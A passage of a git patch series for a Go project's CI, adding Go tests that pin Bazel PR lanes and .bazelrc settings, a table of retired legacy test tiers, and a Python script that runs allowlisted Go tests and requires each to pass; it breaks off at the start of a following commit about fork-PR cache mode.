filepath.Join(dir, "go") + // Emits one top-level event per FAKE_="Test:action ..." pair and + // records its arguments; exits FAKE_RC. + if err := os.WriteFile(fakeGo, []byte(`#!/usr/bin/env bash +echo "$*" >> "$FAKE_LOG" +pkg="${!#}"; key="FAKE_$(printf '%s' "${pkg#./}" | tr -c 'A-Za-z0-9' '_')" +for pair in ${!key}; do + printf '{"Action":"%s","Package":"x","Test":"%s"}\n' "${pair#*:}" "${pair%%:*}" +done +exit "${FAKE_RC:-0}" +`), 0o755); err != nil { + t.Fatal(err) + } + allow := filepath.Join(dir, "allow.txt") + if err := os.WriteFile(allow, []byte(`# comment +cmd/bd TestZZStdioNotLeaked skip # needs its baseline +scripts TestA skip # why +scripts TestGlob* skip # why +`), 0o644); err != nil { + t.Fatal(err) + } + run := func(env ...string) (string, error) { + log := filepath.Join(dir, "log") + _ = os.Remove(log) + cmd := exec.Command(python, runner, "--allowlist", allow, "--go", fakeGo) + cmd.Env = append(os.Environ(), append([]string{"FAKE_LOG=" + log}, env...)...) + out, err := cmd.CombinedOutput() + args, _ := os.ReadFile(log) + return string(out) + "\nARGS:\n" + string(args), err + } + good := []string{ + "FAKE_cmd_bd=TestAAAStdioBaseline:pass TestZZStdioNotLeaked:pass", + "FAKE_scripts=TestA:pass TestGlobOne:pass TestGlobTwo:pass", + } + out, err := run(good...) + if err != nil { + t.Fatalf("all passed: %v\n%s", err, out) + } + for _, want := range []string{ + "-run ^(TestAAAStdioBaseline|TestZZStdioNotLeaked)$ ./cmd/bd", + "-run ^(TestA|TestGlob.*)$ ./scripts", + "test -json -short -count=1 -timeout=30m -skip ^TestEmbedded -tags gms_pure_go", + } { + if !strings.Contains(out, want) { + t.Errorf("go invocations lack %q:\n%s", want, out) + } + } + for name, env := range map[string][]string{ + "entry skipped": {good[0], "FAKE_scripts=TestA:skip TestGlobOne:pass"}, + "glob member skipped": {good[0], "FAKE_scripts=TestA:pass TestGlobOne:pass TestGlobTwo:skip"}, + "entry missing": {good[0], "FAKE_scripts=TestGlobOne:pass"}, + "glob matched none": {good[0], "FAKE_scripts=TestA:pass"}, + "companion only": {"FAKE_cmd_bd=TestAAAStdioBaseline:pass", good[1]}, + "other test failed": {good[0], good[1] + " TestOther:fail"}, + "go test failed": append([]string{"FAKE_RC=1"}, good...), + "package not run": {good[1]}, + } { + if out, err := run(env...); err == nil { + t.Errorf("%s: runner passed:\n%s", name, out) + } + } + // Entries it cannot run. + for name, body := range map[string]string{ + "package glob": "cmd/* TestX skip # why\n", + "bad name": "scripts Test(X) skip # why\n", + "no reason": "scripts TestX skip\n", + } { + if err := os.WriteFile(allow, []byte(body), 0o644); err != nil { + t.Fatal(err) + } + if out, err := run(good...); err == nil { + t.Errorf("%s: runner accepted the allowlist:\n%s", name, out) + } + } +} + +// bazel.yml's step-3 lanes: in mode remote (always, on covered PRs) every +// `bazel test` adds --config=sole-run, whose lines are exactly no cached +// test results and no whole-invocation retry after a remote cache eviction; +// their Bazel steps and configs are pinned exactly. +func TestBazelPRLanesArePinned(t *testing.T) { + workflow := readCIWorkflow(t, bazelWorkflowName) + bazelCmd := regexp.MustCompile(`^\s*(?:\S+=\S+\s+)*(?:"?\$\(\s*)?bazel\s+(test|build|run|query|cquery|coverage)\b`) + for lane, steps := range bazelPRLaneSteps { + job := workflow.job(t, lane) + if job.Env["BAZEL_SOLE_RUN"] != bazelSoleRunEnv { + t.Errorf("%s env BAZEL_SOLE_RUN = %q, want %q", lane, job.Env["BAZEL_SOLE_RUN"], bazelSoleRunEnv) + } + for name, want := range steps { + step := job.step(t, name) + if strings.TrimSpace(step.Run) != want || step.ContinueOnError != nil { + t.Errorf("%s step %q (continue-on-error %v) changed; want exactly:\n%s\ngot:\n%s", lane, name, step.ContinueOnError, want, step.Run) + } + } + // Every bazel test in the lane takes sole-run; nothing else runs + // Bazel but the pinned steps and pure's builds. + for _, step := range job.Steps { + for _, line := range strings.Split(step.Run, "\n") { + m := bazelCmd.FindStringSubmatch(line) + if m == nil { + continue + } + if m[1] == "test" && !strings.Contains(line, bazelSoleRunArg) { + t.Errorf("%s step %q runs bazel test without %s: %q", lane, step.Name, bazelSoleRunArg, line) + } + if _, pinned := steps[step.Name]; !pinned && m[1] != "build" && m[1] != "cquery" { + t.Errorf("%s step %q runs %q outside the pinned steps", lane, step.Name, line) + } + } + } + } + rc := readPolicyFile(t, bazelPolicyRoot(t), ".bazelrc") + for config, want := range bazelPRLaneRCLines { + var got []string + for _, line := range strings.Split(rc, "\n") { + line = strings.TrimSpace(line) + head, _, _ := strings.Cut(line, " ") + if strings.HasSuffix(head, ":"+config) { + got = append(got, line) + } + } + if !reflect.DeepEqual(got, want) { + t.Errorf(".bazelrc --config=%s lines changed; want exactly:\n%s\ngot:\n%s", config, strings.Join(want, "\n"), strings.Join(got, "\n")) + } + } + // sole-run is used by these lanes only, and only through the env above. + for name, job := range workflow.Jobs { + _, lane := bazelPRLaneSteps[name] + for _, step := range job.Steps { + if strings.Contains(step.Run, "sole-run") || (!lane && strings.Contains(step.Run, "BAZEL_SOLE_RUN")) { + t.Errorf("%s step %q names sole-run directly", name, step.Name) + } + } + } +} diff --git a/scripts/pr_risk_bazel_coverage_test.go b/scripts/pr_risk_bazel_coverage_test.go index 8b95a8472..06e6fb3f4 100644 --- a/scripts/pr_risk_bazel_coverage_test.go +++ b/scripts/pr_risk_bazel_coverage_test.go @@ -44,18 +44,19 @@ const ( // retiredTier: one D2 step's legacy tier, the committed flag that retires // it, the decision job's output for it, and the Bazel lanes that replace it. type retiredTier struct { + workflow string // the workflow whose legacy jobs stand down output string // bazel-coverage's output flag string // the committed workflow env flag envKey string // the decision step's env key reading flag coversEnv string // both gates' env key reading output retiredID string // pr.yml's gate id: the lanes ran remotely and passed - jobs map[string]string // legacy job -> PR Risk gate id + jobs map[string]string // legacy job -> its workflow's gate id bazelLanes []string // bazel.yml jobs } var retiredTiers = []retiredTier{ { - output: "embedded", flag: "BAZEL_RETIRES_LEGACY_EMBEDDED", envKey: "RETIRED_EMBEDDED", + workflow: prRiskWorkflowName, output: "embedded", flag: "BAZEL_RETIRES_LEGACY_EMBEDDED", envKey: "RETIRED_EMBEDDED", coversEnv: "BAZEL_COVERS_EMBEDDED", retiredID: "BAZEL_EMBEDDED_RETIRED", jobs: map[string]string{ "test-embedded-storage": "TEST_EMBEDDED_STORAGE", @@ -65,7 +66,7 @@ var retiredTiers = []retiredTier{ bazelLanes: []string{bazelEmbedJobName}, }, { - output: "dolt_server", flag: "BAZEL_RETIRES_LEGACY_DOLT_SERVER_TIERS", envKey: "RETIRED_DOLT_SERVER", + workflow: prRiskWorkflowName, output: "dolt_server", flag: "BAZEL_RETIRES_LEGACY_DOLT_SERVER_TIERS", envKey: "RETIRED_DOLT_SERVER", coversEnv: "BAZEL_COVERS_DOLT_SERVER", retiredID: "BAZEL_DOLT_SERVER_RETIRED", jobs: map[string]string{ "test-proxied-cmd": "TEST_PROXIED_CMD", @@ -74,6 +75,31 @@ var retiredTiers = []retiredTier{ }, bazelLanes: []string{bazelProxiedJobName, bazelServerJobName}, }, + // Step 3: pr.yml's own legacy jobs, whose Bazel lanes run in the same + // pr.yml run (scripts/pr_lanes_bazel_coverage_test.go). + { + workflow: "pr.yml", output: "pr_lanes", flag: "BAZEL_RETIRES_LEGACY_PR_LANES", envKey: "RETIRED_PR_LANES", + coversEnv: "BAZEL_COVERS_PR_LANES", retiredID: "BAZEL_PR_LANES_RETIRED", + jobs: map[string]string{ + "build-artifacts": "BUILD_ARTIFACTS", + "pr-core-wrapper": "PR_CORE_WRAPPER", + "check-cmd-bd-puregeo-tests": "CHECK_CMD_BD_PUREGEO_TESTS", + "test-domain-uow": "TEST_DOMAIN_UOW", + "contract-corpus": "CONTRACT_CORPUS", + }, + bazelLanes: []string{bazelJobName, bazelPureJobName, bazelDoltJobName}, + }, +} + +// riskTiers: the tiers whose legacy jobs are pr-risk.yml's. +func riskTiers() []retiredTier { + var out []retiredTier + for _, r := range retiredTiers { + if r.workflow == prRiskWorkflowName { + out = append(out, r) + } + } + return out } func (r retiredTier) retiredValue() string { return "${{ env." + r.flag + " == 'true' }}" } @@ -87,10 +113,10 @@ func (r retiredTier) legacyIf() string { var prRiskBuildEmbeddedIf = "needs.detect-ci-tier.outputs.full_embedded == 'true' && (needs." + prRiskCoverageJobName + ".outputs.embedded != 'true' || needs." + prRiskCoverageJobName + ".outputs.dolt_server != 'true')" -// retiredJobs: every retired legacy test job -> its tier. +// retiredJobs: every retired pr-risk.yml legacy test job -> its tier. func retiredJobs() map[string]retiredTier { out := map[string]retiredTier{} - for _, r := range retiredTiers { + for _, r := range riskTiers() { for job := range r.jobs { out[job] = r } @@ -112,7 +138,7 @@ type rbeFacts struct { secret string // secrets.RBE_WEST_EXECUTOR ("" = unavailable: fork, Dependabot, unset) fork bool // github.event.pull_request.head.repo.fork // The committed env.BAZEL_RETIRES_LEGACY_* flags, in retiredTiers order. - retired [2]string + retired [3]string // github.actor is dependabot[bot] (fixed for a PR's runs and re-runs). dependabot bool } @@ -131,9 +157,12 @@ var ( rbeEvents = []string{"pull_request", "merge_group", "push", "workflow_dispatch", "pull_request_target"} rbeVarValues = []string{"", "true", "True", "TRUE", "false", "1", "yes"} rbeSecrets = []string{"", "grpcs://rbe.example:443"} - // Both flags on, each alone, both off, and the case-insensitive and - // non-boolean spellings on either side. - retiredValues = [][2]string{{"true", "true"}, {"true", "false"}, {"false", "true"}, {"false", "false"}, {"True", ""}, {"", "TRUE"}} + // Every flag on, each alone, all off, and the case-insensitive and + // non-boolean spellings of each. + retiredValues = [][3]string{ + {"true", "true", "true"}, {"true", "false", "false"}, {"false", "true", "false"}, {"false", "false", "true"}, + {"false", "false", "false"}, {"True", "", ""}, {"", "TRUE", ""}, {"", "yes", "True"}, + } ) // rbeFactsMatrix: every combination of the facts the decisions read. @@ -307,6 +336,19 @@ func TestPRRiskBazelCoverageJob(t *testing.T) { t.Errorf("%s: %s re-derives the Bazel coverage decision (%q); read needs.%s.outputs", prRiskWorkflowName, path, value, prRiskCoverageJobName) } }) + // In pr.yml too, only the workflow env sets a flag and only the + // decision step reads one (ci-gate names them in its messages). + walkYAML(readYAMLNode(t, filepath.Join(".github", "workflows", "pr.yml")), "", func(path string, key bool, value string) { + if key { + if flags[value] && path != ".env."+value { + t.Errorf("pr.yml: %s sets %s; only the workflow env may", path, value) + } + return + } + if regexp.MustCompile(`env\.BAZEL_RETIRES_`).MatchString(value) && !strings.HasPrefix(path, stepEnv) { + t.Errorf("pr.yml: %s reads a BAZEL_RETIRES_* flag (%q); read needs.%s.outputs", path, value, prRiskCoverageJobName) + } + }) // Every BAZEL_RETIRES_* flag either workflow commits is one of retiredTiers. for name, env := range map[string]map[string]string{prRiskWorkflowName: riskEnv, "pr.yml": prEnv} { for k := range env { @@ -454,7 +496,7 @@ func TestPRRiskDecisionMatchesBazelMode(t *testing.T) { return d } noFlags := f - noFlags.retired = [2]string{} + noFlags.retired = [3]string{} mode, ok := modeMemo[noFlags] if !ok { bazel, err := runDecisionStep(t, rbeStep, f, call.With) @@ -521,7 +563,12 @@ func TestPRRiskDecisionMatchesBazelMode(t *testing.T) { prRun := decide(t, g) bazelRan := prRun.mode == "remote" // and passed: every lane succeeds here for _, r := range retiredTiers { + // PR Risk's tiers stand down in PR Risk's run; pr.yml's + // own (step 3) in this same pr.yml run. legacyRan := risk.covered[r.output] != "true" + if r.workflow == "pr.yml" { + legacyRan = prRun.prCovered[r.output] != "true" + } if !legacyRan && !bazelRan && prGatePasses(t, g.event, prRun.mode, prRun.prCovered) { t.Errorf("PR Risk run %v skipped the legacy %s tier and pr.yml run (var %q, secret %v, mode %s, covered %v) is green without its Bazel lanes", f, r.output, v, secret != "", prRun.mode, prRun.prCovered) @@ -534,7 +581,9 @@ func TestPRRiskDecisionMatchesBazelMode(t *testing.T) { // Named cases, for the record. Forks and Dependabot run in mode cache, // which, like local, skips the remote-only lanes, so they keep the // legacy tiers. reds: the retired ids a red gate must name. - both, embOnly, dsOnly, none := [2]string{"true", "true"}, [2]string{"true", "false"}, [2]string{"false", "true"}, [2]string{"false", "false"} + both, embOnly, dsOnly, prOnly, none := [3]string{"true", "true", "true"}, [3]string{"true", "false", "false"}, [3]string{"false", "true", "false"}, + [3]string{"false", "false", "true"}, [3]string{"false", "false", "false"} + allRetired := []string{"BAZEL_EMBEDDED_RETIRED", "BAZEL_DOLT_SERVER_RETIRED", "BAZEL_PR_LANES_RETIRED"} for _, c := range []struct { name string f rbeFacts @@ -544,10 +593,13 @@ func TestPRRiskDecisionMatchesBazelMode(t *testing.T) { reds []string }{ {"same-repo PR, farm on", rbeFacts{"pull_request", "true", "x", false, both, false}, "remote", coveredAll("true"), true, nil}, - {"same-repo PR, kill switch (var unset)", rbeFacts{"pull_request", "", "x", false, both, false}, "skip", coveredAll("true"), false, []string{"BAZEL_EMBEDDED_RETIRED", "BAZEL_DOLT_SERVER_RETIRED"}}, - {"same-repo PR, executor secret missing", rbeFacts{"pull_request", "true", "", false, both, false}, "cache", coveredAll("true"), false, []string{"BAZEL_EMBEDDED_RETIRED", "BAZEL_DOLT_SERVER_RETIRED"}}, - {"same-repo PR, only embedded retired, var unset", rbeFacts{"pull_request", "", "x", false, embOnly, false}, "skip", map[string]string{"embedded": "true", "dolt_server": "false"}, false, []string{"BAZEL_EMBEDDED_RETIRED"}}, - {"same-repo PR, only proxied/server retired, var unset", rbeFacts{"pull_request", "", "x", false, dsOnly, false}, "skip", map[string]string{"embedded": "false", "dolt_server": "true"}, false, []string{"BAZEL_DOLT_SERVER_RETIRED"}}, + {"same-repo PR, kill switch (var unset)", rbeFacts{"pull_request", "", "x", false, both, false}, "skip", coveredAll("true"), false, allRetired}, + {"same-repo PR, executor secret missing", rbeFacts{"pull_request", "true", "", false, both, false}, "cache", coveredAll("true"), false, allRetired}, + {"same-repo PR, only embedded retired, var unset", rbeFacts{"pull_request", "", "x", false, embOnly, false}, "skip", map[string]string{"embedded": "true", "dolt_server": "false", "pr_lanes": "false"}, false, []string{"BAZEL_EMBEDDED_RETIRED"}}, + {"same-repo PR, only proxied/server retired, var unset", rbeFacts{"pull_request", "", "x", false, dsOnly, false}, "skip", map[string]string{"embedded": "false", "dolt_server": "true", "pr_lanes": "false"}, false, []string{"BAZEL_DOLT_SERVER_RETIRED"}}, + {"same-repo PR, only pr.yml's jobs retired, var unset", rbeFacts{"pull_request", "", "x", false, prOnly, false}, "skip", map[string]string{"embedded": "false", "dolt_server": "false", "pr_lanes": "true"}, false, []string{"BAZEL_PR_LANES_RETIRED"}}, + {"same-repo PR, only pr.yml's jobs retired, secret missing", rbeFacts{"pull_request", "true", "", false, prOnly, false}, "cache", map[string]string{"embedded": "false", "dolt_server": "false", "pr_lanes": "true"}, false, []string{"BAZEL_PR_LANES_RETIRED"}}, + {"same-repo PR, only pr.yml's jobs retired, farm on", rbeFacts{"pull_request", "true", "x", false, prOnly, false}, "remote", map[string]string{"embedded": "false", "dolt_server": "false", "pr_lanes": "true"}, true, nil}, {"same-repo PR, flags reverted, var unset", rbeFacts{"pull_request", "", "x", false, none, false}, "skip", coveredAll("false"), true, nil}, {"same-repo PR, flags reverted, secret missing", rbeFacts{"pull_request", "true", "", false, none, false}, "cache", coveredAll("false"), true, nil}, {"fork PR", rbeFacts{"pull_request", "true", "", true, both, false}, "cache", coveredAll("false"), true, nil}, @@ -743,8 +795,12 @@ func TestPRRiskLegacyTiersDeferToBazelLanes(t *testing.T) { t.Errorf("pr-risk ci-gate does not require %s's result: needs %v, env %v", prRiskCoverageJobName, gate.Needs, step.Env) } for _, r := range retiredTiers { - if step.Env[r.coversEnv] != "${{ needs."+prRiskCoverageJobName+".outputs."+r.output+" }}" { - t.Errorf("pr-risk ci-gate %s = %q, want needs.%s.outputs.%s", r.coversEnv, step.Env[r.coversEnv], prRiskCoverageJobName, r.output) + want := "${{ needs." + prRiskCoverageJobName + ".outputs." + r.output + " }}" + if r.workflow != prRiskWorkflowName { + want = "" // pr.yml's own jobs: nothing in PR Risk reads it + } + if step.Env[r.coversEnv] != want { + t.Errorf("pr-risk ci-gate %s = %q, want %q", r.coversEnv, step.Env[r.coversEnv], want) } } for name, r := range retired { @@ -847,7 +903,7 @@ func TestPRRiskLegacyTiersDeferToBazelLanes(t *testing.T) { // "false" (so its jobs and build-embedded ran), a successful decision // whose output for this tier is not exactly 'true' excuses none of this // tier's skipped jobs: a gate testing != "false" (or similar) fails here. - for _, tier := range retiredTiers { + for _, tier := range riskTiers() { for _, covered := range []string{"", "TRUE ", "yes", "1", "True\n", "false "} { cov := coveredAll("false") cov[tier.output] = covered @@ -1274,6 +1330,10 @@ func TestBazelRetiredLanesCannotBeNarrowed(t *testing.T) { for config, want := range bazelDoltServerRCLines { laneConfigs[config] = want } + // D2 step 3's lanes (PR-core, dolt-server, pure-Go/js-wasm, sole-run). + for config, want := range bazelPRLaneRCLines { + laneConfigs[config] = want + } rcEnabled := map[string]bool{"remote-exec": true, "fork-cache": true} inUse := map[string]bool{"": true} for c := range laneConfigs { @@ -1489,6 +1549,59 @@ func TestBazelRetiredLanesCannotBeNarrowed(t *testing.T) { if !reflect.DeepEqual(got, want) { t.Errorf("the retired lanes' targets' args/env changed:\ngot %v\nwant %v", got, want) } + + // D2 step 3: the PR-core, dolt-server and pure lanes run (nearly) every + // other test target, too many to pin one by one: no rule outside the + // pinned ones above, and no .bzl macro, may select, skip or switch off + // tests through its args, env or anything else. + ruleNarrow := regexp.MustCompile(`-test\.(short|run|skip|list|bench)|BEADS_TEST_SKIP|BEADS_TEST_EMBEDDED_DOLT|TESTBRIDGE_TEST_ONLY|test_filter|flaky\s*=\s*(True|1|[A-Za-z_])`) + err = filepath.WalkDir(root, func(path string, d os.DirEntry, err error) error { + if err != nil { + return err + } + if d.IsDir() { + switch d.Name() { + case ".git", "node_modules", ".beads": + return filepath.SkipDir + } + return nil + } + isBzl := strings.HasSuffix(d.Name(), ".bzl") + if d.Type()&os.ModeSymlink != 0 || (d.Name() != "BUILD.bazel" && d.Name() != "BUILD" && !isBzl) { + return nil + } + data, err := os.ReadFile(path) + if err != nil { + return err + } + rel, _ := filepath.Rel(root, path) + pkg := filepath.ToSlash(filepath.Dir(rel)) + var units []string + if isBzl { + units = []string{string(data)} + } else { + units = bazelTopRules(string(data)) + } + for _, unit := range units { + if !isBzl { + if name := nameRe.FindStringSubmatch(unit); name != nil { + if _, pinned := want["//"+pkg+":"+name[1]]; pinned { + continue + } + } + } + for _, line := range strings.Split(unit, "\n") { + code, _, _ := strings.Cut(line, "#") + if ruleNarrow.MatchString(code) && !strings.Contains(code, "flaky = False") { + t.Errorf("%s: %q can select, skip or retry tests of the gated lanes", rel, strings.TrimSpace(line)) + } + } + } + return nil + }) + if err != nil { + t.Fatal(err) + } } // Review G4: each retired tier's lane asks Bazel which test targets are @@ -1594,7 +1707,7 @@ func TestBazelRetiredLanesArePinned(t *testing.T) { // eviction in any retired lane (it would re-run, and could turn green, // a test that failed in the first attempt), and nothing else in // .bazelrc sets the retry count (a later value would win). - evictionAllowed := map[string]bool{} + evictionAllowed := map[string]bool{bazelSoleRunEvictionLine: true} for _, config := range bazelRetiredLaneConfigs { want := "test:" + config + " --experimental_remote_cache_eviction_retries=0" lines := bazelEmbeddedRCLines @@ -1613,7 +1726,7 @@ func TestBazelRetiredLanesArePinned(t *testing.T) { } } // A later --cache_test_results (any config the lanes use) would win. - allowed := map[string]bool{"test:docker --nocache_test_results": true, "test:embedded --nocache_test_results": true} + allowed := map[string]bool{"test:docker --nocache_test_results": true, "test:embedded --nocache_test_results": true, bazelSoleRunNoCacheLine: true} for config := range bazelDoltServerRCLines { allowed["test:"+config+" --nocache_test_results"] = true } diff --git a/scripts/pull_dolt_image_test.go b/scripts/pull_dolt_image_test.go index ce4107cc8..4a6fe8afc 100644 --- a/scripts/pull_dolt_image_test.go +++ b/scripts/pull_dolt_image_test.go @@ -55,7 +55,7 @@ func TestPullDoltImageRetriesTransientFailures(t *testing.T) { func TestDoltImagePullWorkflowsUseRetryHelper(t *testing.T) { wantCalls := map[string]int{ "main.yml": 2, - "pr.yml": 2, + "pr.yml": 3, // test-domain-uow, contract-corpus, test-dolt-server-fingerprint "pr-risk.yml": 3, "regression.yml": 1, } diff --git a/tools/bazel/equivalence_allowlist.txt b/tools/bazel/equivalence_allowlist.txt index 3d3299962..5838aa955 100644 --- a/tools/bazel/equivalence_allowlist.txt +++ b/tools/bazel/equivalence_allowlist.txt @@ -39,3 +39,4 @@ scripts TestCheckShardCoverageScript skip # runs tools/bazel/check_shard_covera scripts TestShardScriptsListOnlyRealTests skip # runs the real .github/scripts shard scripts over the source tree; runs under go test scripts TestShardScriptNarrowingCheck skip # reads the real .github/scripts shard scripts; runs under go test scripts TestBazelOnlySkipsAreAllowlisted skip # parses every _test.go file in the checkout; runs under go test +scripts TestRunAllowlistedGoTestsScript skip # runs tools/bazel/run_allowlisted_go_tests.py, not in the runfiles; runs under go test diff --git a/tools/bazel/run_allowlisted_go_tests.py b/tools/bazel/run_allowlisted_go_tests.py new file mode 100755 index 000000000..bc51d2c77 --- /dev/null +++ b/tools/bazel/run_allowlisted_go_tests.py @@ -0,0 +1,156 @@ +#!/usr/bin/env python3 +"""Run, under `go test`, the Go tests the Bazel PR-core lane does not run. + +tools/bazel/equivalence_allowlist.txt lists every Go test that PR Core's +`go test` runs and `bazel test //... --config=ci` does not run (kind "run") +or skips (kind "skip"), each with a reason. Where pr.yml's legacy PR Core job +stands down for the Bazel lane (D2 step 3), nothing else would run those +tests before merge, so this runs exactly them, with PR Core's test flags +(-short, -skip '^TestEmbedded', gms_pure_go; not -race: the build is shared +with the job's other non-race `go test` steps), and requires each entry to +have matched at least one top-level test and every matched test to have +passed: a test that now skips, fails or no longer exists fails the step +instead of passing silently. + +A package glob is refused (`go test` needs real package paths); a test name +of `*` runs the whole package. Call it through +scripts/ci/allowlisted-go-tests.sh, which gives the tests PR Core's +environment (scripts/ci/lib/test-env.sh). + +Usage: run_allowlisted_go_tests.py [--allowlist FILE] [--go GO] [--dry-run] +""" +import argparse +import json +import os +import re +import subprocess +import sys + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from equivalence import DEFAULT_ALLOWLIST, load_allowlist # noqa: E402 + +# PR Core's test flags (scripts/ci/pr-core.sh), less -race, -p/-parallel and +# -timeout's package count; tags come from .buildflags' GOFLAGS too. +GO_TEST_FLAGS = ["-short", "-count=1", "-timeout=30m", "-skip", "^TestEmbedded", "-tags", "gms_pure_go"] +# Tests an allowlisted test needs in the same process, run alongside it: +# TestZZStdioNotLeaked compares against the streams TestAAAStdioBaseline +# recorded (and skips without it), which is why Bazel's sharding skips it. +COMPANIONS = {("cmd/bd", "TestZZStdioNotLeaked"): ["TestAAAStdioBaseline"]} +NAME_RE = re.compile(r"^[A-Za-z0-9_*]+$") +PKG_RE = re.compile(r"^[A-Za-z0-9_./-]+$") + + +def plan(entries): + """{pkg: [entry, ...]} in allowlist order, or raise ValueError.""" + out = {} + for e in entries: + if not PKG_RE.match(e["pkg"]) or e["pkg"].startswith(("/", "..")) or "*" in e["pkg"]: + raise ValueError(f"allowlist line {e['line']}: package {e['pkg']!r} is not a literal package directory") + if not NAME_RE.match(e["test"]): + raise ValueError(f"allowlist line {e['line']}: test {e['test']!r} is not a Test name or glob") + out.setdefault(e["pkg"], []).append(e) + return out + + +def glob_re(name): + return re.compile("^" + ".*".join(re.escape(p) for p in name.split("*")) + "$") + + +def run_regex(group): + """-run selector for a package's entries, or None for the whole package.""" + if any(e["test"] == "*" for e in group): + return None + names = [] + for e in group: + names += COMPANIONS.get((e["pkg"], e["test"]), []) + [e["test"]] + return "^(" + "|".join(".*".join(re.escape(p) for p in n.split("*")) for n in names) + ")$" + + +def top_level_results(output): + """{test: final action} for top-level tests in `go test -json` output.""" + res = {} + for line in output.splitlines(): + if not line.startswith("{"): + continue + try: + ev = json.loads(line) + except ValueError: + continue + test, action = ev.get("Test"), ev.get("Action") + if test and "/" not in test and action in ("pass", "fail", "skip"): + res[test] = action + return res + + +def check(group, results): + """Problems for one package's entries given its top-level results.""" + problems = [] + for e in group: + matched = sorted(t for t in results if glob_re(e["test"]).match(t)) + if not matched: + problems.append(f"{e['pkg']} {e['test']} (allowlist line {e['line']}): matched no test that ran") + for t in matched: + if results[t] != "pass": + problems.append(f"{e['pkg']} {t} (allowlist line {e['line']}): {results[t]}, want pass") + for t, action in sorted(results.items()): + if action == "fail": + problems.append(f"{group[0]['pkg']} {t}: fail") + return problems + + +def main(argv=None): + ap = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter) + ap.add_argument("--allowlist", default=DEFAULT_ALLOWLIST) + ap.add_argument("--go", default="go") + ap.add_argument("--dry-run", action="store_true", help="print the go test commands only") + args = ap.parse_args(argv) + + if not os.path.exists(args.allowlist): + print(f"{args.allowlist}: no such allowlist", file=sys.stderr) + return 1 + entries, errors = load_allowlist(args.allowlist) + if errors: + print("\n".join(errors), file=sys.stderr) + return 1 + try: + pkgs = plan(entries) + except ValueError as err: + print(err, file=sys.stderr) + return 1 + + problems, ran = [], 0 + for pkg, group in pkgs.items(): + cmd = [args.go, "test", "-json", *GO_TEST_FLAGS] + sel = run_regex(group) + if sel is not None: + cmd += ["-run", sel] + cmd.append("./" + pkg) + print("+ " + " ".join(cmd), flush=True) + if args.dry_run: + continue + proc = subprocess.run(cmd, capture_output=True, text=True) + for line in proc.stdout.splitlines(): + try: + out = json.loads(line).get("Output") + except ValueError: + out = line + "\n" + if out: + sys.stdout.write(out) + sys.stdout.write(proc.stderr) + results = top_level_results(proc.stdout) + ran += len(results) + problems += check(group, results) + if proc.returncode != 0: + problems.append(f"{pkg}: go test exited {proc.returncode}") + if args.dry_run: + return 0 + if problems: + print("\nFAIL: the Go tests the Bazel PR-core lane does not run did not all pass here:", file=sys.stderr) + print("\n".join(" " + p for p in problems), file=sys.stderr) + return 1 + print(f"\nok: {len(entries)} allowlist entries, {ran} top-level tests passed under go test") + return 0 + + +if __name__ == "__main__": + sys.exit(main()) From e2b78f7d7aab60430563f301e9105b691c299f22 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Fri, 2 Oct 2026 17:15:56 -0700 Subject: [PATCH 047/325] ci(bazel): run integration on fork PRs via the read-only cache; retry Go module fetches (#7120) * ci(bazel): retry Go module fetches and scale download timeouts in every mode A fork run failed Bazel / test on one proxy.golang.org TLS handshake timeout. gazelle's go_repository fetches modules with the go command (fetch_repo), which never retries, and Bazel's downloader retry flags do not reach it. setup-bazel's generated rc now sets --repo_env=GOPROXY=https://proxy.golang.org|https://proxy.golang.org|direct: with "|" the go command moves to the next entry on any error, so the proxy is tried twice and then the module's origin. fetch_repo checks every module against its go.sum hash whatever the source. Verified with Bazel 9.2.0: an unreachable first entry still fetches all 438 go_deps repos, and without a fallback the fetch fails. --http_timeout_scaling=2.0 doubles the timeouts of Bazel's own downloader (the Go SDK, http_archive), which already retries. Both flags are key neutral (repository fetching only) and apply in every mode, because repository fetching always runs on the runner. Co-Authored-By: Claude Opus 5.5 (1M context) * ci(bazel): run the integration lane for fork and Dependabot PRs in cache mode bazel-integration was remote-only, so fork and Dependabot PRs (mode cache) had no PR-time integration run at all: main.yml's integration jobs run only after merge. With rbe-west's anonymous read-only cache, every action trusted CI already ran is a hit, so the GitHub-hosted runner builds and tests only what the PR changed. Simulated in an ubuntu:24.04 container with 4 CPUs and only the generated rc (no user rc). This setup's action keys match CI's: the ci lane reproduced the fork run's 6550 processes with 4847 cache hits. - Main HEAD: 143 s (4656 hits, 12 local, 113 of 115 tests cached). - A cmd/bd change: 170-290 s. - Cache closed (cold, all local): about 30 minutes. - bazel.yml: the lane's if is now mode remote or cache, never local (rbe=off). The step timeout goes from 45 to 75 minutes (job 85), so a closed cache (the farm's kill switch) still leaves fork PRs green. - bazel-gate.sh: mode cache no longer allows BAZEL_INTEGRATION to skip. Mode local still does. - New TestBazelCacheModeReachesTheRC runs, end to end, the real decision step for 22 starts: - fork, Dependabot and same-repo PRs, push, rbe=cache/off dispatches and bazel-farm, each with the variable on and unset; - same-repo runs with and without the secret; - a fork PR that "has" the secrets, and one passing fork-farm. For each start it evaluates every lane's if and setup-bazel env, runs write-bazelrc.sh, and checks bazel-gate.sh's skips. A cache-mode rc carries --config=fork-cache and the fetch hardening, and no executor, TLS file, instance, upload, header, BES or masked secret. - ci_workflow_test.go: the integration if, the run modes, and a closed-cache floor for the step timeout. - Comments in bazel.yml, pr.yml and bazel-farm.yml, and the topology engdoc. The engdoc also covers: - fork-cache's slow-blob behaviour: 15 s read deadlines trip the breaker, then "Lost inputs" and one build restart, still green; - why the endpoint's FindMissingBlobs denial never affects cache-only clients. Co-Authored-By: Claude Opus 5.5 (1M context) --------- Co-authored-by: Gas City Adopt-PR Co-authored-by: Claude Opus 5.5 (1M context) --- .github/actions/setup-bazel/write-bazelrc.sh | 12 + .github/scripts/bazel-gate.sh | 12 +- .github/workflows/bazel-farm.yml | 9 +- .github/workflows/bazel.yml | 49 ++-- .github/workflows/pr.yml | 18 +- engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 72 +++-- scripts/BUILD.bazel | 1 + scripts/bazel_cache_mode_test.go | 268 +++++++++++++++++++ scripts/ci_workflow_test.go | 36 ++- 9 files changed, 405 insertions(+), 72 deletions(-) create mode 100644 scripts/bazel_cache_mode_test.go diff --git a/.github/actions/setup-bazel/write-bazelrc.sh b/.github/actions/setup-bazel/write-bazelrc.sh index d21add208..70a5721bc 100644 --- a/.github/actions/setup-bazel/write-bazelrc.sh +++ 